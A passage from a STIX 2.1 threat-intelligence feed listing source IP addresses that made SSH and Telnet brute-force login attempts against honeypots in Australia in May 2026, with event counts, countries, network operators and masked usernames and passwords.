      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '219.155.94.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:15:31.000Z",
      "valid_until": "2026-06-24T16:15:08.000Z"
    },
    {
      "created": "2026-05-23T16:15:31.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 59257. Organisation(s): CMPak Limited.",
      "id": "indicator--5f7cbb53-d2f3-434a-8258-9d182177d94c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.123.73.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:15:31.000Z",
      "valid_until": "2026-06-24T16:15:08.000Z"
    },
    {
      "created": "2026-05-23T16:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--4f1bf314-7ad0-4034-a9a5-2e589abfe145",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.157.250.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:15:31.000Z",
      "valid_until": "2026-06-24T16:15:08.000Z"
    },
    {
      "created": "2026-05-23T16:15:31.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AT. ASN(s): 44076. Organisation(s): INTAC Services GmbH. Usernames observed (masked): r**t, 3**********4, a***t, j**a, o**o. Passwords observed (masked): !******r, 1****3, 1******m, 1**************V, 1******@.",
      "id": "indicator--e07cc1df-7e6a-4536-9731-c3433d41b355",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T16:15:31.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.137.172.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T16:15:31.000Z",
      "valid_until": "2026-06-24T16:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 205. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4, e***********h, **, p******s. Passwords observed (masked): 3***********4, 3**********4, 2**1, D********3, P**********3.",
      "id": "indicator--ce4c58b7-b7bd-4923-813e-bc7361c8faec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.187.146.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 24544. Organisation(s): Laws Cloud Infrastructure Limited. Usernames observed (masked): a***n, r**t, s***m, 3**********4, f*******c. Passwords observed (masked): 0******1, 1****3, 1***5, 1******8, 1*****a.",
      "id": "indicator--8a2d2956-57a7-41d0-9cc4-dbe610da43f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.229.125.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b25c76d9-7861-46d5-b72a-79d943cfbd08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.113.39.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n, o******i, r**t. Passwords observed (masked): *, a***n, o******i.",
      "id": "indicator--187bdb0d-5a02-4f3f-b402-e8737ab84cfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.226.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, s****n, 3**********4, j***n, j**n. Passwords observed (masked): ***, 1**4, 1***5, 1****6, 1********A.",
      "id": "indicator--6237c2e0-1d94-40b5-a836-5e27bea0806d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.227.233.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): r**t. Passwords observed (masked): p******6.",
      "id": "indicator--d1cf8bb3-763c-454a-9cc8-11d5f882c1e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.255.1.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 150895. Organisation(s): EZ TECHNOLOGY COMPANY LIMITED. Usernames observed (masked): r**t, 3**********4, a****2, t**t, t***3. Passwords observed (masked): ***, 1****e, 1********@, 3***********4, 3**********4.",
      "id": "indicator--7eb6f882-1cba-45f3-b26a-f2dea9b93364",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.250.5.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5947f383-8f4c-48c6-8f9e-43a8ab156d87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.225.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--f86e7eda-55aa-49d8-9a28-f677a4ff47c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.87.67.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27988. Organisation(s): Servicios y Telecomunicaciones S.A..",
      "id": "indicator--85f0b11d-626d-44cb-af38-44c78e4b0edc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.55.245.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 148. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 17665. Organisation(s): ONEOTT INTERTAINMENT LIMITED. Usernames observed (masked): r**t, 3**********4, a*****n, d****l, f*****t. Passwords observed (masked): 1**4, 1******@, 1*******!, 3***********4, 3**********4.",
      "id": "indicator--4c847d3c-20dc-4fef-9ced-8b37c2e1b26a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.192.232.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): c***r, r**t, 3**********4, a***t, i***l. Passwords observed (masked): ***, 3***********4, 3**********4, a***n, a***t.",
      "id": "indicator--5c907cad-0eeb-4f5c-9b4f-2c001e3e6933",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.91.81.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 19901. Organisation(s): Brightspeed.",
      "id": "indicator--ce2f7946-448a-4c83-88d7-59164f92e79c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.50.55.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 207957. Organisation(s): Serv.host Group Ltd. Usernames observed (masked): a***n, r**t, 3**********4, o****7, s***m. Passwords observed (masked): 3***********4, 3**********4, 0******1, 1****3, 1***5.",
      "id": "indicator--07b1486d-ec28-4f03-bad1-a3f5d6d8a4ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.156.180.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T17:15:11.000Z",
      "valid_until": "2026-06-24T17:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 38513. Organisation(s): PT Aplikanusa Lintasarta. Usernames observed (masked): r**t, 3**********4, a***t, a***n, d***y. Passwords observed (masked): 3***********4, 3**********4, 1********t, A*******8, F*******@.",
      "id": "indicator--db53358a-d595-4616-843d-d7aded3daab5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.190.214.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--55a11748-a410-4908-a84f-a863ed6c58f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.44.232.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a***t, k**n, m****r. Passwords observed (masked): !******r, ***, 1******., 3***********4, 3**********4.",
      "id": "indicator--99d508b6-f7cc-46ec-a5e0-b6cf0c2f71e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.14.225.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, d******r, r***s, t***2. Passwords observed (masked): 1****3, 3***********4, 3**********4, P******d, Q**********0.",
      "id": "indicator--faf41f07-8650-4252-a9bf-cd475d978f9e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.166.215.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela.",
      "id": "indicator--d5297fc5-3091-4669-8b4e-66b5f2751fa3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.75.149.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 269930. Organisation(s): CAMPOS FARIAS GUILHERME.",
      "id": "indicator--d15b5abd-05df-4acc-8ef8-7794f999d949",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.83.114.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 58065. Organisation(s): Orion Network Limited. Usernames observed (masked): r**t, 3**********4, a**n, k**n, m****r. Passwords observed (masked): ***, 3***********4, 3**********4, 1******., A********!.",
      "id": "indicator--964b41e7-1a43-465a-94dc-042b5064088f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.196.150.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 13875. Organisation(s): MxFiber LLC. Usernames observed (masked): r**t, a***t, 3**********4, a***n, d***y. Passwords observed (masked): 1********t, 3***********4, 3**********4, A*******8, F*******@.",
      "id": "indicator--4e943c76-e4e3-4b9b-910c-f3381e19f923",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.235.242.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 55803. Organisation(s): Hostopia Australia Web Pty Ltd. Usernames observed (masked): r**t, 3**********4, c******a, o****3. Passwords observed (masked): 1****6, 2******@, 3***********4, 3**********4, D*******6.",
      "id": "indicator--690a2b4c-f235-44e4-b273-4f8bac554874",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.27.18.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t, u**p, a***t, f*****t, s***r. Passwords observed (masked): 3***********4, A******1, A*********5, a***t, f*********3.",
      "id": "indicator--9677225b-9765-4ba7-a6ff-339397ba363d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.150.236.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56005. Organisation(s): Zhengzhou Fastidc Technology Co.,Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): Q******$.",
      "id": "indicator--b60a345d-3fa3-4389-80bf-c89aad5ae37c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.51.40.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 28890. Organisation(s): INSYS LLC.",
      "id": "indicator--bf328ae2-e16e-422c-852a-a6bdf676fe8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.163.144.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T18:15:12.000Z",
      "valid_until": "2026-06-24T18:15:08.000Z"
    },
    {
      "created": "2026-05-23T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 54600. Organisation(s): PEG TECH INC. Usernames observed (masked): a*****r, o**o, r**t, 3**********4, a**x. Passwords observed (masked): 1****6, *, 1**4, 3***********4, 3**********4.",
      "id": "indicator--a47d6f86-345e-4c31-ab2c-a7f1b0fc5662",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.233.206.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:15:11.000Z",
      "valid_until": "2026-06-24T19:15:08.000Z"
    },
    {
      "created": "2026-05-23T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3b631f21-d4b5-4a08-8796-6185c9f725d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.216.98.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:15:11.000Z",
      "valid_until": "2026-06-24T19:15:08.000Z"
    },
    {
      "created": "2026-05-23T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--fc2f1a7f-07c6-4f8c-8ae0-8d39b8702aa7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.135.44.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:15:11.000Z",
      "valid_until": "2026-06-24T19:15:08.000Z"
    },
    {
      "created": "2026-05-23T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, c*******r, r****h. Passwords observed (masked): ***, c*******r, r********3.",
      "id": "indicator--e51d4f90-ff35-4178-8d18-5a82ee66aafe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.131.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T19:15:11.000Z",
      "valid_until": "2026-06-24T19:15:08.000Z"
    },
    {
      "created": "2026-05-23T19:15:11.000Z",
